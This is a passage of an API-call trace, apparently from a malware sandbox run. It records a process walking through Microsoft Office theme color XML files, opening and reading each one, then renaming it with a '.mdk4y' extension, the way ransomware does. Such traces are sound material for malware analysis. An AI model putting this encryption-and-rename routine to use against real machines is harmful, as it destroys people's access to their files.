(normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml.mdk4y")) returned 1 [0177.161] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.161] AreFileApisANSI () returned 1 [0177.161] GetACP () returned 0x4e4 [0177.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Flow.xml", cchWideChar=8, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Flow.xmle.xml", lpUsedDefaultChar=0x37df4c) returned 8 [0177.161] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.162] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825239400000) returned 1 [0177.165] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3bf, lpOverlapped=0x0) returned 1 [0177.170] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825240000000) returned 1 [0177.170] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825240000000) returned 1 [0177.170] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml.mdk4y")) returned 1 [0177.172] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.172] AreFileApisANSI () returned 1 [0177.172] GetACP () returned 0x4e4 [0177.172] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Foundry.xml", cchWideChar=11, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Foundry.xmlml", lpUsedDefaultChar=0x37df4c) returned 11 [0177.172] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.173] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825240300000) returned 1 [0177.173] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c2, lpOverlapped=0x0) returned 1 [0177.174] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825240400000) returned 1 [0177.174] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825240400000) returned 1 [0177.174] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml.mdk4y")) returned 1 [0177.175] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.175] AreFileApisANSI () returned 1 [0177.175] GetACP () returned 0x4e4 [0177.175] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Grayscale.xml", cchWideChar=13, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Grayscale.xml", lpUsedDefaultChar=0x37df4c) returned 13 [0177.176] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.177] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825240700000) returned 1 [0177.177] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3a0, lpOverlapped=0x0) returned 1 [0177.186] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825241600000) returned 1 [0177.186] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825241600000) returned 1 [0177.187] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml.mdk4y")) returned 1 [0177.188] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.188] AreFileApisANSI () returned 1 [0177.188] GetACP () returned 0x4e4 [0177.188] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Grid.xml", cchWideChar=8, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Grid.xmle.xml", lpUsedDefaultChar=0x37df4c) returned 8 [0177.188] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.189] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825241900000) returned 1 [0177.189] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3bf, lpOverlapped=0x0) returned 1 [0177.193] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825242300000) returned 1 [0177.194] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825242400000) returned 1 [0177.194] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml.mdk4y")) returned 1 [0177.196] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.196] AreFileApisANSI () returned 1 [0177.196] GetACP () returned 0x4e4 [0177.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Hardcover.xml", cchWideChar=13, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Hardcover.xml", lpUsedDefaultChar=0x37df4c) returned 13 [0177.196] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.196] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825242600000) returned 1 [0177.196] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c4, lpOverlapped=0x0) returned 1 [0177.198] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825242800000) returned 1 [0177.198] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825242800000) returned 1 [0177.199] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml.mdk4y")) returned 1 [0177.200] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.200] AreFileApisANSI () returned 1 [0177.200] GetACP () returned 0x4e4 [0177.200] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Horizon.xml", cchWideChar=11, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Horizon.xmlml", lpUsedDefaultChar=0x37df4c) returned 11 [0177.200] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.202] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825243200000) returned 1 [0177.202] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x39e, lpOverlapped=0x0) returned 1 [0177.209] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825243900000) returned 1 [0177.209] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825243900000) returned 1 [0177.210] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml.mdk4y")) returned 1 [0177.212] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.212] AreFileApisANSI () returned 1 [0177.212] GetACP () returned 0x4e4 [0177.212] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Median.xml", cchWideChar=10, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Median.xmll", lpUsedDefaultChar=0x37df4c) returned 10 [0177.212] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.212] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825244200000) returned 1 [0177.212] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c1, lpOverlapped=0x0) returned 1 [0177.226] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825245600000) returned 1 [0177.226] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825245600000) returned 1 [0177.226] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml.mdk4y")) returned 1 [0177.227] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.227] AreFileApisANSI () returned 1 [0177.227] GetACP () returned 0x4e4 [0177.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Metro.xml", cchWideChar=9, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Metro.xmll", lpUsedDefaultChar=0x37df4c) returned 9 [0177.227] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.228] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825246000000) returned 1 [0177.230] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c0, lpOverlapped=0x0) returned 1 [0177.258] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825248800000) returned 1 [0177.258] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825248800000) returned 1 [0177.258] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml.mdk4y")) returned 1 [0177.260] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.260] AreFileApisANSI () returned 1 [0177.260] GetACP () returned 0x4e4 [0177.260] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module.xml", cchWideChar=10, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Module.xml", lpUsedDefaultChar=0x37df4c) returned 10 [0177.260] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.261] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825249100000) returned 1 [0177.261] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c1, lpOverlapped=0x0) returned 1 [0177.300] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825253000000) returned 1 [0177.300] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825253000000) returned 1 [0177.300] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml.mdk4y")) returned 1 [0177.301] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.301] AreFileApisANSI () returned 1 [0177.301] GetACP () returned 0x4e4 [0177.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Newsprint.xml", cchWideChar=13, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Newsprint.xml", lpUsedDefaultChar=0x37df4c) returned 13 [0177.302] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.302] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825253200000) returned 1 [0177.302] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c4, lpOverlapped=0x0) returned 1 [0177.321] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825255100000) returned 1 [0177.321] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825255100000) returned 1 [0177.321] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml.mdk4y")) returned 1 [0177.322] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.322] AreFileApisANSI () returned 1 [0177.322] GetACP () returned 0x4e4 [0177.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Opulent.xml", cchWideChar=11, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Opulent.xmlml", lpUsedDefaultChar=0x37df4c) returned 11 [0177.322] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.323] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825255300000) returned 1 [0177.323] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c2, lpOverlapped=0x0) returned 1 [0177.332] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825256200000) returned 1 [0177.332] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825256200000) returned 1 [0177.332] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml.mdk4y")) returned 1 [0177.334] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.334] AreFileApisANSI () returned 1 [0177.334] GetACP () returned 0x4e4 [0177.334] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Oriel.xml", cchWideChar=9, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Oriel.xmlml", lpUsedDefaultChar=0x37df4c) returned 9 [0177.334] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.334] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825256400000) returned 1 [0177.334] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c0, lpOverlapped=0x0) returned 1 [0177.348] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825257800000) returned 1 [0177.348] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825257800000) returned 1 [0177.348] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml.mdk4y")) returned 1 [0177.349] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.349] AreFileApisANSI () returned 1 [0177.349] GetACP () returned 0x4e4 [0177.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Origin.xml", cchWideChar=10, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Origin.xmll", lpUsedDefaultChar=0x37df4c) returned 10 [0177.349] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.350] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825258000000) returned 1 [0177.350] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c1, lpOverlapped=0x0) returned 1 [0177.362] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825259200000) returned 1 [0177.362] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825259200000) returned 1 [0177.362] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml.mdk4y")) returned 1 [0177.363] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.363] AreFileApisANSI () returned 1 [0177.363] GetACP () returned 0x4e4 [0177.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Paper.xml", cchWideChar=9, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Paper.xmll", lpUsedDefaultChar=0x37df4c) returned 9 [0177.364] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.364] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825259400000) returned 1 [0177.364] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c0, lpOverlapped=0x0) returned 1 [0177.369] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825259900000) returned 1 [0177.369] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825259900000) returned 1 [0177.369] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml.mdk4y")) returned 1 [0177.371] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.371] AreFileApisANSI () returned 1 [0177.371] GetACP () returned 0x4e4 [0177.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Perspective.xml", cchWideChar=15, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Perspective.xml", lpUsedDefaultChar=0x37df4c) returned 15 [0177.371] 